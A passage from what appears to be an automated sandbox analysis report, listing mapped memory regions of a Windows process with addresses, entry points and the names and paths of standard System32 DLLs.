0x7fef3d34fff monitored = 0 entry_point = 0x7fef3d23644 region_type = mapped_file name = "upnp.dll" filename = "\\Windows\\System32\\upnp.dll" (normalized: "c:\\windows\\system32\\upnp.dll") Region: id = 2373 start_va = 0x7fef3d40000 end_va = 0x7fef3d51fff monitored = 0 entry_point = 0x7fef3d490bc region_type = mapped_file name = "bitsigd.dll" filename = "\\Windows\\System32\\bitsigd.dll" (normalized: "c:\\windows\\system32\\bitsigd.dll") Region: id = 2374 start_va = 0x7fef3d60000 end_va = 0x7fef3d69fff monitored = 0 entry_point = 0x7fef3d63994 region_type = mapped_file name = "bitsperf.dll" filename = "\\Windows\\System32\\bitsperf.dll" (normalized: "c:\\windows\\system32\\bitsperf.dll") Region: id = 2375 start_va = 0x7fef3d70000 end_va = 0x7fef3e41fff monitored = 0 entry_point = 0x7fef3e01a10 region_type = mapped_file name = "qmgr.dll" filename = "\\Windows\\System32\\qmgr.dll" (normalized: "c:\\windows\\system32\\qmgr.dll") Region: id = 2376 start_va = 0x7fef5c80000 end_va = 0x7fef5c9bfff monitored = 0 entry_point = 0x7fef5c811a0 region_type = mapped_file name = "rasman.dll" filename = "\\Windows\\System32\\rasman.dll" (normalized: "c:\\windows\\system32\\rasman.dll") Region: id = 2377 start_va = 0x7fef5ca0000 end_va = 0x7fef5d01fff monitored = 0 entry_point = 0x7fef5ca1198 region_type = mapped_file name = "rasapi32.dll" filename = "\\Windows\\System32\\rasapi32.dll" (normalized: "c:\\windows\\system32\\rasapi32.dll") Region: id = 2378 start_va = 0x7fef5d10000 end_va = 0x7fef5d49fff monitored = 0 entry_point = 0x7fef5d11010 region_type = mapped_file name = "mprapi.dll" filename = "\\Windows\\System32\\mprapi.dll" (normalized: "c:\\windows\\system32\\mprapi.dll") Region: id = 2379 start_va = 0x7fef6c80000 end_va = 0x7fef6ef9fff monitored = 0 entry_point = 0x7fef6cb2200 region_type = mapped_file name = "esent.dll" filename = "\\Windows\\System32\\esent.dll" (normalized: "c:\\windows\\system32\\esent.dll") Region: id = 2380 start_va = 0x7fef6f00000 end_va = 0x7fef6f16fff monitored = 0 entry_point = 0x7fef6f09d50 region_type = mapped_file name = "ncprov.dll" filename = "\\Windows\\System32\\wbem\\NCProv.dll" (normalized: "c:\\windows\\system32\\wbem\\ncprov.dll") Region: id = 2381 start_va = 0x7fef7080000 end_va = 0x7fef716dfff monitored = 0 entry_point = 0x7fef70812a0 region_type = mapped_file name = "actxprxy.dll" filename = "\\Windows\\System32\\actxprxy.dll" (normalized: "c:\\windows\\system32\\actxprxy.dll") Region: id = 2382 start_va = 0x7fef8aa0000 end_va = 0x7fef8b1bfff monitored = 0 entry_point = 0x7fef8aa11d4 region_type = mapped_file name = "wer.dll" filename = "\\Windows\\System32\\wer.dll" (normalized: "c:\\windows\\system32\\wer.dll") Region: id = 2383 start_va = 0x7fef8c00000 end_va = 0x7fef8c0bfff monitored = 0 entry_point = 0x7fef8c0602c region_type = mapped_file name = "npmproxy.dll" filename = "\\Windows\\System32\\npmproxy.dll" (normalized: "c:\\windows\\system32\\npmproxy.dll") Region: id = 2384 start_va = 0x7fef8c10000 end_va = 0x7fef8c1efff monitored = 0 entry_point = 0x7fef8c19a48 region_type = mapped_file name = "mspatcha.dll" filename = "\\Windows\\System32\\mspatcha.dll" (normalized: "c:\\windows\\system32\\mspatcha.dll") Region: id = 2385 start_va = 0x7fef8c20000 end_va = 0x7fef8c3afff monitored = 0 entry_point = 0x7fef8c21198 region_type = mapped_file name = "cabinet.dll" filename = "\\Windows\\System32\\cabinet.dll" (normalized: "c:\\windows\\system32\\cabinet.dll") Region: id = 2386 start_va = 0x7fef8ed0000 end_va = 0x7fef8ed7fff monitored = 0 entry_point = 0x7fef8ed1414 region_type = mapped_file name = "rasadhlp.dll" filename = "\\Windows\\System32\\rasadhlp.dll" (normalized: "c:\\windows\\system32\\rasadhlp.dll") Region: id = 2387 start_va = 0x7fef8ee0000 end_va = 0x7fef8f50fff monitored = 0 entry_point = 0x7fef8f251d0 region_type = mapped_file name = "wbemess.dll" filename = "\\Windows\\System32\\wbem\\wbemess.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemess.dll") Region: id = 2388 start_va = 0x7fef8f60000 end_va = 0x7fef8f71fff monitored = 0 entry_point = 0x7fef8f689d0 region_type = mapped_file name = "ncobjapi.dll" filename = "\\Windows\\System32\\ncobjapi.dll" (normalized: "c:\\windows\\system32\\ncobjapi.dll") Region: id = 2389 start_va = 0x7fef8f80000 end_va = 0x7fef9034fff monitored = 0 entry_point = 0x7fef8ffcf80 region_type = mapped_file name = "wmiprvsd.dll" filename = "\\Windows\\System32\\wbem\\WmiPrvSD.dll" (normalized: "c:\\windows\\system32\\wbem\\wmiprvsd.dll") Region: id = 2390 start_va = 0x7fef9040000 end_va = 0x7fef9058fff monitored = 0 entry_point = 0x7fef9041104 region_type = mapped_file name = "resutils.dll" filename = "\\Windows\\System32\\resutils.dll" (normalized: "c:\\windows\\system32\\resutils.dll") Region: id = 2391 start_va = 0x7fef9060000 end_va = 0x7fef90affff monitored = 0 entry_point = 0x7fef9061190 region_type = mapped_file name = "clusapi.dll" filename = "\\Windows\\System32\\clusapi.dll" (normalized: "c:\\windows\\system32\\clusapi.dll") Region: id = 2392 start_va = 0x7fef90b0000 end_va = 0x7fef90b7fff monitored = 0 entry_point = 0x7fef90b1020 region_type = mapped_file name = "sscore.dll" filename = "\\Windows\\System32\\sscore.dll" (normalized: "c:\\windows\\system32\\sscore.dll") Region: id = 2393 start_va = 0x7fef90c0000 end_va = 0x7fef9119fff monitored = 0 entry_point = 0x7fef90fdde0 region_type = mapped_file name = "repdrvfs.dll" filename = "\\Windows\\System32\\wbem\\repdrvfs.dll" (normalized: "c:\\windows\\system32\\wbem\\repdrvfs.dll") Region: id = 2394 start_va = 0x7fef9120000 end_va = 0x7fef9140fff monitored = 0 entry_point = 0x7fef91303b0 region_type = mapped_file name = "wmiutils.dll" filename = "\\Windows\\System32\\wbem\\wmiutils.dll" (normalized: "c:\\windows\\system32\\wbem\\wmiutils.dll") Region: id = 2395 start_va = 0x7fef9150000 end_va = 0x7fef91c3fff monitored = 0 entry_point = 0x7fef91566f0 region_type = mapped_file name = "netprofm.dll" filename = "\\Windows\\System32\\netprofm.dll" (normalized: "c:\\windows\\system32\\netprofm.dll") Region: id = 2396 start_va = 0x7fef91d0000 end_va = 0x7fef923afff monitored = 0 entry_point = 0x7fef9214344 region_type = mapped_file name = "hnetcfg.dll" filename = "\\Windows\\System32\\hnetcfg.dll" (normalized: "c:\\windows\\system32\\hnetcfg.dll") Region: id = 2397 start_va = 0x7fef9240000 end_va = 0x7fef9252fff monitored = 0 entry_point = 0x7fef9241d80 region_type = mapped_file name = "wbemsvc.dll" filename = "\\Windows\\System32\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemsvc.dll") Region: id = 2398 start_va = 0x7fef9260000 end_va = 0x7fef92c1fff monitored = 0 entry_point = 0x7fef929bd80 region_type = mapped_file name = "esscli.dll" filename = "\\Windows\\System32\\wbem\\esscli.dll" (normalized: "c:\\windows\\system32\\wbem\\esscli.dll") Region: id = 2399 start_va = 0x7fef92d0000 end_va = 0x7fef93fbfff monitored = 0 entry_point = 0x7fef9380ef0 region_type = mapped_file name = "wbemcore.dll" filename = "\\Windows\\System32\\wbem\\wbemcore.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemcore.dll") Region: id = 2400 start_va = 0x7fef9400000 end_va = 0x7fef9419fff monitored = 0 entry_point = 0x7fef9413fbc region_type = mapped_file name = "nci.dll" filename = "\\Windows\\System32\\nci.dll" (normalized: "c:\\windows\\system32\\nci.dll") Region: id = 2401 start_va = 0x7fef9420000 end_va = 0x7fef94a3fff monitored = 0 entry_point = 0x7fef9471118 region_type = mapped_file name = "netcfgx.dll" filename = "\\Windows\\System32\\netcfgx.dll" (normalized: "c:\\windows\\system32\\netcfgx.dll") Region: id = 2402 start_va = 0x7fef94b0000 end_va = 0x7fef94d4fff monitored = 0 entry_point = 0x7fef94c8c54 region_type = mapped_file name = "browser.dll" filename = "\\Windows\\System32\\browser.dll" (normalized: "c:\\windows\\system32\\browser.dll") Region: id = 2403 start_va = 0x7fef94e0000 end_va = 0x7fef951cfff monitored = 0 entry_point = 0x7fef94e1070 region_type = mapped_file name = "srvsvc.dll" filename = "\\Windows\\System32\\srvsvc.dll" (normalized: "c:\\windows\\system32\\srvsvc.dll") Region: id = 2404 start_va = 0x7fef9520000 end_va = 0x7fef952dfff monitored = 0 entry_point = 0x7fef9525500 region_type = mapped_file name = "wbemprox.dll" filename = "\\Windows\\System32\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemprox.dll") Region: id = 2405 start_va = 0x7fef9530000 end_va = 0x7fef9556fff monitored = 0 entry_point = 0x7fef95311a0 region_type = mapped_file name = "ntdsapi.dll" filename = "\\Windows\\System32\\ntdsapi.dll" (normalized: "c:\\windows\\system32\\ntdsapi.dll") Region: id = 2406 start_va = 0x7fef9560000 end_va = 0x7fef9632fff monitored = 0 entry_point = 0x7fef95d8b00 region_type = mapped_file name = "fastprox.dll" filename = "\\Windows\\System32\\wbem\\fastprox.dll" (normalized: "c:\\windows\\system32\\wbem\\fastprox.dll") Region: id = 2407 start_va = 0x7fef9680000 end_va = 0x7fef96c6fff monitored = 0 entry_point = 0x7fef9681040 region_type = mapped_file name = "wdscore.dll" filename = "\\Windows\\System32\\wdscore.dll" (normalized: "c:\\windows\\system32\\wdscore.dll") Region: id = 2408 start_va = 0x7fef96d0000 end_va = 0x7fef9711fff monitored = 0 entry_point = 0x7fef96d17e4 region_type = mapped_file name = "sqmapi.dll" filename = "\\Windows\\System32\\sqmapi.dll" (normalized: "c:\\windows\\system32\\sqmapi.dll") Region: id = 2409 start_va = 0x7fef9720000 end_va = 0x7fef97b1fff monitored = 0 entry_point = 0x7fef97951ec region_type = mapped_file name = "iphlpsvc.dll" filename = "\\Windows\\System32\\iphlpsvc.dll" (normalized: "c:\\windows\\system32\\iphlpsvc.dll") Region: id = 2410 start_va = 0x7fef97c0000 end_va = 0x7fef9836fff monitored = 0 entry_point = 0x7fef97fe7f0 region_type = mapped_file name = "wbemcomn2.dll" filename = "\\Windows\\System32\\wbemcomn2.dll" (normalized: "c:\\windows\\system32\\wbemcomn2.dll") Region: id = 2411 start_va = 0x7fef9840000 end_va = 0x7fef9879fff monitored = 0 entry_point = 0x7fef985d020 region_type = mapped_file name = "wmisvc.dll" filename = "\\Windows\\System32\\wbem\\WMIsvc.dll" (normalized: "c:\\windows\\system32\\wbem\\wmisvc.dll") Region: id = 2412 start_va = 0x7fef9b30000 end_va = 0x7fef9b40fff monitored = 0 entry_point = 0x7fef9b39e7c region_type = mapped_file name = "ssdpapi.dll" filename = "\\Windows\\System32\\ssdpapi.dll" (normalized: "c:\\windows\\system32\\ssdpapi.dll") Region: id = 2413 start_va = 0x7fef9b50000 end_va = 0x7fef9bb3fff monitored = 0 entry_point = 0x7fef9b51254 region_type = mapped_file name = "webio.dll" filename = "\\Windows\\System32\\webio.dll" (normalized: "c:\\windows\\system32\\webio.dll") Region: id = 2414 start_va = 0x7fef9bc0000 end_va = 0x7fef9c30fff monitored = 0 entry_point = 0x7fef9bc1010 region_type = mapped_file name = "winhttp.dll" filename = "\\Windows\\System32\\winhttp.dll" (normalized: "c:\\windows\\system32\\winhttp.dll") Region: id = 2415 start_va = 0x7fef9cf0000 end_va = 0x7fef9d06fff monitored = 0 entry_point = 0x7fef9cf1060 region_type = mapped_file name = "vsstrace.dll" filename = "\\Windows\\System32\\vsstrace.dll" (normalized: "c:\\windows\\system32\\vsstrace.dll") Region: id = 2416 start_va = 0x7fef9d10000 end_va = 0x7fef9ebffff monitored = 0 entry_point = 0x7fef9d11010 region_type = mapped_file name = "vssapi.dll" filename = "\\Windows\\System32\\vssapi.dll" (normalized: "c:\\windows\\system32\\vssapi.dll") Region: id = 2417 start_va = 0x7fefa1a0000 end_va = 0x7fefa1a8fff monitored = 0 entry_point = 0x7fefa1a11a0 region_type = mapped_file name = "tschannel.dll" filename = "\\Windows\\System32\\TSChannel.dll" (normalized: "c:\\windows\\system32\\tschannel.dll") Region: id = 2418 start_va = 0x7fefa3b0000 end_va = 0x7fefa426fff monitored = 0 entry_point = 0x7fefa3bafd0 region_type = mapped_file name = "taskcomp.dll" filename = "\\Windows\\System32\\taskcomp.dll" (normalized: "c:\\windows\\system32\\taskcomp.dll") Region: id = 2419 start_va = 0x7fefa430000 end_va = 0x7fefa439fff monitored = 0 entry_point = 0x7fefa43260c region_type = mapped_file name = "ktmw32.dll" filename = "\\Windows\\System32\\ktmw32.dll" (normalized: "c:\\windows\\system32\\ktmw32.dll") Region: id = 2420 start_va = 0x7fefa440000 end_va = 0x7fefa551fff monitored = 0 entry_point = 0x7fefa45f354 region_type = mapped_file name = "schedsvc.dll" filename = "\\Windows\\System32\\schedsvc.dll" (normalized: "c:\\windows\\system32\\schedsvc.dll") Region: id = 2421 start_va = 0x7fefa560000 end_va = 0x7fefa56efff monitored = 0 entry_point = 0x7fefa567e80 region_type = mapped_file name = "wiarpc.dll" filename = "\\Windows\\System32\\wiarpc.dll" (normalized: "c:\\windows\\system32\\wiarpc.dll") Region: id = 2422 start_va = 0x7fefa570000 end_va = 0x7fefa578fff monitored = 0 entry_point = 0x7fefa573668 region_type = mapped_file name = "fvecerts.dll" filename = "\\Windows\\System32\\fvecerts.dll" (normalized: "c:\\windows\\system32\\fvecerts.dll") Region: id = 2423 start_va = 0x7fefa580000 end_va = 0x7fefa588fff monitored = 0 entry_point = 0x7fefa581020 region_type = mapped_file name = "tbs.dll" filename = "\\Windows\\System32\\tbs.dll" (normalized: "c:\\windows\\system32\\tbs.dll") Region: id = 2424 start_va = 0x7fefa590000 end_va = 0x7fefa5e5fff monitored = 0 entry_point = 0x7fefa591040 region_type = mapped_file name = "fveapi.dll" filename = "\\Windows\\System32\\fveapi.dll" (normalized: "c:\\windows\\system32\\fveapi.dll") Region: id = 2425 start_va = 0x7fefa5f0000 end_va = 0x7fefa64dfff monitored = 0 entry_point = 0x7fefa5f9024 region_type = mapped_file name = "shsvcs.dll" filename = "\\Windows\\System32\\shsvcs.dll" (normalized: "c:\\windows\\system32\\shsvcs.dll") Region: id = 2426 start_va = 0x7fefa650000 end_va = 0x7fefa667fff monitored = 0 entry_point = 0x7fefa651bf8 region_type = mapped_file name = "dhcpcsvc.dll" filename = "\\Windows\\System32\\dhcpcsvc.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc.dll") Region: id = 2427 start_va = 0x7fefa670000 end_va = 0x7fefa680fff monitored = 0 entry_point = 0x7fefa6716ac region_type = mapped_file name = "dhcpcsvc6.dll" filename = "\\Windows\\System32\\dhcpcsvc6.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc6.dll") Region: id = 2428 start_va = 0x7fefa6a0000 end_va = 0x7fefa6f2fff monitored = 0 entry_point = 0x7fefa6a2b98 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 2429 start_va = 0x7fefac10000 end_va = 0x7fefac2cfff monitored = 0 entry_point = 0x7fefac12f18 region_type = mapped_file name = "mmcss.dll" filename = "\\Windows\\System32\\mmcss.dll" (normalized: "c:\\windows\\system32\\mmcss.dll") Region: id = 2430 start_va = 0x7fefac60000 end_va = 0x7fefac6bfff monitored = 0 entry_point = 0x7fefac61070 region_type = mapped_file name = "seclogon.dll" filename = "\\Windows\\System32\\seclogon.dll" (normalized: "c:\\windows\\system32\\seclogon.dll") Region: id = 2431 start_va = 0x7fefac70000 end_va = 0x7fefac84fff monitored = 0 entry_point = 0x7fefac71020 region_type = mapped_file name = "appinfo.dll" filename = "\\Windows\\System32\\appinfo.dll" (normalized: "c:\\windows\\system32\\appinfo.dll") Region: id = 2432 start_va = 0x7fefac90000 end_va = 0x7fefaca3fff monitored = 0 entry_point = 0x7fefac93e64 region_type = mapped_file name = "sens.dll" filename = "\\Windows\\System32\\Sens.dll" (normalized: "c:\\windows\\system32\\sens.dll") Region: id = 2433 start_va = 0x7fefacb0000 end_va = 0x7fefacbafff monitored = 0 entry_point = 0x7fefacb1198 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll") Region: id = 2434 start_va = 0x7fefacc0000 end_va = 0x7feface6fff monitored = 0 entry_point = 0x7fefacc98bc region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll") Region: id = 2435 start_va = 0x7fefacf0000 end_va = 0x7fefad56fff monitored = 0 entry_point = 0x7fefad06060 region_type = mapped_file name = "es.dll" filename = "\\Windows\\System32\\es.dll" (normalized: "c:\\windows\\system32\\es.dll") Region: id = 2436 start_va = 0x7fefad70000 end_va = 0x7fefad7afff monitored = 0 entry_point = 0x7fefad74f8c region_type = mapped_file name = "slc.dll" filename = "\\Windows\\System32\\slc.dll" (normalized: "c:\\windows\\system32\\slc.dll") Region: id = 2437 start_va = 0x7fefad80000 end_va = 0x7fefad8bfff monitored = 0 entry_point = 0x7fefad815d8 region_type = mapped_file name = "dsrole.dll" filename = "\\Windows\\System32\\dsrole.dll" (normalized: "c:\\windows\\system32\\dsrole.dll") Region: id = 2438 start_va = 0x7fefad90000 end_va = 0x7fefad9ffff monitored = 0 entry_point = 0x7fefad9835c region_type = mapped_file name = "themeservice.dll" filename = "\\Windows\\System32\\themeservice.dll" (normalized: "c:\\windows\\system32\\themeservice.dll") Region: id = 2439 start_va = 0x7fefada0000 end_va = 0x7fefadb8fff monitored = 0 entry_point = 0x7fefada11a8 region_type = mapped_file name = "atl.dll" filename = "\\Windows\\System32\\atl.dll" (normalized: "c:\\windows\\system32\\atl.dll") Region: id = 2440 start_va = 0x7fefadc0000 end_va = 0x7fefadf6fff monitored = 0 entry_point = 0x7fefadc8424 region_type = mapped_file name = "profsvc.dll" filename = "\\Windows\\System32\\profsvc.dll" (normalized: "c:\\windows\\system32\\profsvc.dll") Region: id = 2441 start_va = 0x7fefae40000 end_va = 0x7fefae54fff monitored = 0 entry_point = 0x7fefae460d8 region_type = mapped_file name = "nlaapi.dll" filename = "\\Windows\\System32\\nlaapi.dll" (normalized: "c:\\windows\\system32\\nlaapi.dll") Region: id = 2442 start_va = 0x7fefae60000 end_va = 0x7fefaf21fff monitored = 0 entry_point = 0x7fefae6101c region_type = mapped_file name = "gpsvc.dll" filename = "\\Windows\\System32\\gpsvc.dll" (normalized: "c:\\windows\\system32\\gpsvc.dll") Region: id = 2443 start_va = 0x7fefb160000 end_va = 0x7fefb168fff monitored = 0 entry_point = 0x7fefb161010 region_type = mapped_file name = "avrt.dll" filename = "\\Windows\\System32\\avrt.dll" (normalized: "c:\\windows\\system32\\avrt.dll") Region: id = 2444 start_va = 0x7fefb250000 end_va = 0x7fefb27cfff monitored = 0 entry_point = 0x7fefb251010 region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll") Region: id = 2445 start_va = 0x7fefb280000 end_va = 0x7fefb290fff monitored = 0 entry_point = 0x7fefb2814c0 region_type = mapped_file name = "rtutils.dll" filename = "\\Windows\\System32\\rtutils.dll" (normalized: "c:\\windows\\system32\\rtutils.dll") Region: id = 2446 start_va = 0x7fefb2e0000 end_va = 0x7fefb350fff monitored = 0 entry_point = 0x7fefb31ecc4 region_type = mapped_file name = "winspool.drv" filename = "\\Windows\\System32\\winspool.drv" (normalized: "c:\\windows\\system32\\winspool.drv") Region: id = 2447 start_va = 0x7fefb3d0000 end_va = 0x7fefb3e3fff monitored = 0 entry_point = 0x7fefb3d16b4 region_type = mapped_file name = "samcli.dll" filename = "\\Windows\\System32\\samcli.dll" (normalized: "c:\\windows\\system32\\samcli.dll") Region: id = 2448 start_va = 0x7fefb3f0000 end_va = 0x7fefb404fff monitored = 0 entry_point = 0x7fefb3f1050 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 2449 start_va = 0x7fefb410000 end_va = 0x7fefb41bfff monitored = 0 entry_point = 0x7fefb4118a4 region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 2450 start_va = 0x7fefb420000 end_va = 0x7fefb435fff monitored = 0 entry_point = 0x7fefb4211a0 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 2451 start_va = 0x7fefb550000 end_va = 0x7fefb560fff monitored = 0 entry_point = 0x7fefb551070 region_type = mapped_file name = "wtsapi32.dll" filename = "\\Windows\\System32\\wtsapi32.dll" (normalized: "c:\\windows\\system32\\wtsapi32.dll") Region: id = 2452 start_va = 0x7fefb6b0000 end_va = 0x7fefb6e4fff monitored = 0 entry_point = 0x7fefb6b1064 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Region: id = 2453 start_va = 0x7fefbb20000 end_va = 0x7fefbb75fff monitored = 0 entry_point = 0x7fefbb2bbc0 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 2454 start_va = 0x7fefbb80000 end_va = 0x7fefbcabfff monitored = 0 entry_point = 0x7fefbb894bc region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\System32\\propsys.dll" (normalized: "c:\\windows\\system32\\propsys.dll") Region: id = 2455 start_va = 0x7fefbcb0000 end_va = 0x7fefbcccfff monitored = 0 entry_point = 0x7fefbcb1ef4 region_type = mapped_file name = "samlib.dll" filename = "\\Windows\\System32\\samlib.dll" (normalized: "c:\\windows\\system32\\samlib.dll") Region: id = 2456 start_va = 0x7fefbd00000 end_va = 0x7fefbef3fff monitored = 0 entry_point = 0x7fefbe8c924 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll") Region: id = 2457 start_va = 0x7fefc390000 end_va = 0x7fefc39bfff monitored = 0 entry_point = 0x7fefc391064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 2458 start_va = 0x7fefc3a0000 end_va = 0x7fefc45afff monitored = 0 entry_point = 0x7fefc3a6de0 region_type = mapped_file name = "firewallapi.dll" filename = "\\Windows\\System32\\FirewallAPI.dll" (normalized: "c:\\windows\\system32\\firewallapi.dll") Region: id = 2459 start_va = 0x7fefc460000 end_va = 0x7fefc466fff monitored = 0 entry_point = 0x7fefc4614b0 region_type = mapped_file name = "wshtcpip.dll" filename = "\\Windows\\System32\\WSHTCPIP.DLL" (normalized: "c:\\windows\\system32\\wshtcpip.dll") Region: id = 2460 start_va = 0x7fefc550000 end_va = 0x7fefc56afff monitored = 0 entry_point = 0x7fefc552068 region_type = mapped_file name = "gpapi.dll" filename = "\\Windows\\System32\\gpapi.dll" (normalized: "c:\\windows\\system32\\gpapi.dll") Region: id = 2461 start_va = 0x7fefc570000 end_va = 0x7fefc58dfff monitored = 0 entry_point = 0x7fefc5713b8 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 2462 start_va = 0x7fefc590000 end_va = 0x7fefc5a1fff monitored = 0 entry_point = 0x7fefc591060 region_type = mapped_file name = "devrtl.dll" filename = "\\Windows\\System32\\devrtl.dll" (normalized: "c:\\windows\\system32\\devrtl.dll") Region: id = 2463 start_va = 0x7fefc5b0000 end_va = 0x7fefc5cefff monitored = 0 entry_point = 0x7fefc5b5c68 region_type = mapped_file name = "spinf.dll" filename = "\\Windows\\System32\\SPInf.dll" (normalized: "c:\\windows\\system32\\spinf.dll") Region: id = 2464 start_va = 0x7fefc680000 end_va = 0x7fefc6b8fff monitored = 0 entry_point = 0x7fefc68c0f0 region_type = mapped_file name = "ubpm.dll" filename = "\\Windows\\System32\\ubpm.dll" (normalized: "c:\\windows\\system32\\ubpm.dll") Region: id = 2465 start_va = 0x7fefc6c0000 end_va = 0x7fefc6c9fff monitored = 0 entry_point = 0x7fefc6c3cb8 region_type = mapped_file name = "credssp.dll" filename = "\\Windows\\System32\\credssp.dll" (normalized: "c:\\windows\\system32\\credssp.dll") Region: id = 2466 start_va = 0x7fefc6d0000 end_va = 0x7fefc6dcfff monitored = 0 entry_point = 0x7fefc6d1348 region_type = mapped_file name = "pcwum.dll" filename = "\\Windows\\System32\\pcwum.dll" (normalized: "c:\\windows\\system32\\pcwum.dll") Region: id = 2467 start_va = 0x7fefc7c0000 end_va = 0x7fefc806fff monitored = 0 entry_point = 0x7fefc7c1064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 2468 start_va = 0x7fefc8b0000 end_va = 0x7fefc8dffff monitored = 0 entry_point = 0x7fefc8b194c region_type = mapped_file name = "logoncli.dll" filename = "\\Windows\\System32\\logoncli.dll" (normalized: "c:\\windows\\system32\\logoncli.dll") Region: id = 2469 start_va = 0x7fefc8e0000 end_va = 0x7fefc93afff monitored = 0 entry_point = 0x7fefc8e6940 region_type = mapped_file name = "dnsapi.dll" filename = "\\Windows\\System32\\dnsapi.dll" (normalized: "c:\\windows\\system32\\dnsapi.dll") Region: id = 2470 start_va = 0x7fefca50000 end_va = 0x7fefca56fff monitored = 0 entry_point = 0x7fefca5142c region_type = mapped_file name = "wship6.dll" filename = "\\Windows\\System32\\wship6.dll" (normalized: "c:\\windows\\system32\\wship6.dll") Region: id = 2471 start_va = 0x7fefca60000 end_va = 0x7fefcab4fff monitored = 0 entry_point = 0x7fefca61054 region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\System32\\mswsock.dll" (normalized: "c:\\windows\\system32\\mswsock.dll") Region: id = 2472 start_va = 0x7fefcac0000 end_va = 0x7fefcad7fff monitored = 0 entry_point = 0x7fefcac3b48 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 2473 start_va = 0x7fefcbd0000 end_va = 0x7fefcc01fff monitored = 0 entry_point = 0x7fefcbd144c region_type = mapped_file name = "netjoin.dll" filename = "\\Windows\\System32\\netjoin.dll" (normalized: "c:\\windows\\system32\\netjoin.dll") Region: id = 2474 start_va = 0x7fefcc10000 end_va = 0x7fefcc17fff monitored = 0 entry_point = 0x7fefcc12a6c region_type = mapped_file name = "wmsgapi.dll" filename = "\\Windows\\System32\\wmsgapi.dll" (normalized: "c:\\windows\\system32\\wmsgapi.dll") Region: id = 2475 start_va = 0x7fefcc20000 end_va = 0x7fefcc29fff monitored = 0 entry_point = 0x7fefcc23b40 region_type = mapped_file name = "sysntfy.dll" filename = "\\Windows\\System32\\sysntfy.dll" (normalized: "c:\\windows\\system32\\sysntfy.dll") Region: id = 2476 start_va = 0x7fefcc30000 end_va = 0x7fefcc51fff monitored = 0 entry_point = 0x7fefcc35d30 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll") Region: id = 2477 start_va = 0x7fefccb0000 end_va = 0x7fefccdefff monitored = 0 entry_point = 0x7fefccb1064 region_type = mapped_file name = "authz.dll" filename = "\\Windows\\System32\\authz.dll" (normalized: "c:\\windows\\system32\\authz.dll") Region: id = 2478 start_va = 0x7fefccf0000 end_va = 0x7fefcd5cfff monitored = 0 entry_point = 0x7fefccf1010 region_type = mapped_file name = "wevtapi.dll" filename = "\\Windows\\System32\\wevtapi.dll" (normalized: "c:\\windows\\system32\\wevtapi.dll") Region: id = 2479 start_va = 0x7fefcd60000 end_va = 0x7fefcd73fff monitored = 0 entry_point = 0x7fefcd64160 region_type = mapped_file name = "cryptdll.dll" filename = "\\Windows\\System32\\cryptdll.dll" (normalized: "c:\\windows\\system32\\cryptdll.dll") Region: id = 2480 start_va = 0x7fefcfc0000 end_va = 0x7fefcfe2fff monitored = 0 entry_point = 0x7fefcfc1198 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 2481 start_va = 0x7fefd060000 end_va = 0x7fefd06afff monitored = 0 entry_point = 0x7fefd061030 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\System32\\secur32.dll" (normalized: "c:\\windows\\system32\\secur32.dll") Region: id = 2482 start_va = 0x7fefd090000 end_va = 0x7fefd0b4fff monitored = 0 entry_point = 0x7fefd099658 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 2483 start_va = 0x7fefd0c0000 end_va = 0x7fefd0cefff monitored = 0 entry_point = 0x7fefd0c1010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 2484 start_va = 0x7fefd0d0000 end_va = 